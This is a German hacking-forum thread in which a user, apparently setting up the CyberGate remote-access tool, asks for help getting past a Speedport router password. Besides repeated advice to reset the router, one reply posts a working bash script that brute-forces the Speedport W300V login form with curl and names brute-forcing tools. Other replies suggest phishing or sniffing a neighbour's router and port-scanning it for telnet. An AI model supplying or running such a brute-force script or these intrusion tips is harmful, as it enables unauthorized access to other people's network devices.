Druckbare Version
Hallo Leute ,
Ich brauch für Cybergate ein paar freie Ports und als ich dann da sah dass ich ein pw eingeben muss hatte ich keinen plan . Ich habe es mit 0000 versucht und alle meine sachen durchstöbert ob ich das pw irgendwo liegen habe ...
NIX
Jetzt habe ich eine Frage wie ich das Passwort zurücksetzen kann oder umgehen kann ...?
Ich hoffe ihr könnt mir helfen...
MfG Cr0ssfire100
Hallo!
Ich geh jetzt mal davon aus das du das PW vom Router meinst!
sofern du es nicht geändert hattest steht das PW unterm Router oder in der Beschreibung oder es ist eine Beilage, Aufkleber oder sonstiges zu finden wo es drauf steht, ansonsten gehts auch mit nem Reset oder ner BruteForce Attacke!
~mfg~
Hast du nen brutefocer für mich der das pw vom router hackt...?
Drück den Reset Knopf...
nee ... hat jemand nen bruteforcer...für mich ....? der sowas forced
Nicht immer ne sagen, lies dir mal den Post von Asmodeus durch. Das PW steht entweder am Router oder im Handbuch.
Gebt mal! Gebt mal! ist immer schnell und anscheinend leicht geschrieben was hälst du davon mal oben auf SUCHE zu klicken dort Brutforce einzugeben und dir den Passenden Thread raus zu suchen?!
Als kleine Hilfe sag ich dir noch wie das Tool heißt "Brutus AET2" is recht Simple das ding allerdings findest du auch HIER einige Hilfe stellungen wie es noch gehen könnte, dort steht auch das ein Reset des Routers das PW wieder zurück setzt, was im übrigen die einfachste Methode ist.
~mfg~
Ich hab den Brutus AET2 schon aber wie mach ich dass der das bruteforced ....?
welchen t-online router hast du denn? denn die neuen haben leider eine "server-site"-bruteforce-protection. kann dir nur sagen, dass auf jeden fall das modell speedport w300v noch bruteforcebar ist (mit default firmware).
das würde auf minimaler ebene so aussehen:
mit medusa den vorgang zu "threaden" wäre vorteilhaft, wobei die aktuelle version hierbei noch einen dummen redirect-bug aufweist. dann bleibt noch hydra, dass sich leider nicht so einfach kompilieren lässt unter einem aktuellen linux-system :)Zitat:
#!/bin/bash
for (( c=13970; c<=99999; c++ ))
do
echo "Checking: $c" export i=`curl http://speedport.ip/cgi-bin/login.cgi --data pws=$c --referer "http://speedport.ip/hcti_start_passwort.stm" -# | grep /loginpserr.stm`
if [[ $i != 'This document has moved <A HREF="http://speedport.ip/loginpserr.stm</A>.<P>' ]]; then
echo "password found"
exit
fi
clear
done
Ich hab den speedport w700v
Bruteforce neeeeeee :D
Warum drückst nicht einfach den Reset Knopf ...-.-
Let me google that for you OMG. Wenn das nicht geht Let me google that for you
bei dem neuen modell wird bruteforcen wohl garnicht gehen (wegen dem delay zwischen den authentications). wenn es der router von deinem nachbar ist, hilft wohl nur noch phishen/sniffen ;)Zitat:
Zitat von Cr0ssfire100
mach mal einen ausführlichen portscan gegen den speedport w700v, vllt. ist ja noch telnet oder ähnliches offen :)
Warum einfach, wenn man es sich auch schwer machen kann...Zitat:
Zitat von hl2.exe
@Cr0ssfire100:
Warum zur Hölle benutzt du nicht den verdammten Reset Knopf anstatt hier die Leute zu belästigen?!
unbedingt schwer machen - wenn mans sportlich nimmt ;) wäre doch nett, auch eine "bruteforce"-methode bei neueren geräten ausfindig zu machen.Zitat:
Zitat von kernel32.dll
dabei hat das frontend vom speedport auch schon andere sicherheitsprobleme aufgewiesen. es war z.B. in ner älteren firmware möglich, einstellungen ohne zugang zu bearbeiten, weil bestimmte dateien auch außerhalb des admin-panels und ohne login verfügbar waren.
also von daher doch ne recht interessante fragestellung :)
stichwörter nach dem du googlen könntest währe ...
Hardreset
reset
router reseten
Hast dus schon einfach mal mit den Standardpasswörtern probiert:
Beim Speedport müsste das
Benutzername: admin
Passwort: password
sein. Kann sein, dass ich mich auch irre.
Good Luck!!!
speedport hat kein basicauth ;) da gibts nur pwd im post-form-format :DZitat:
Zitat von Skandalooeess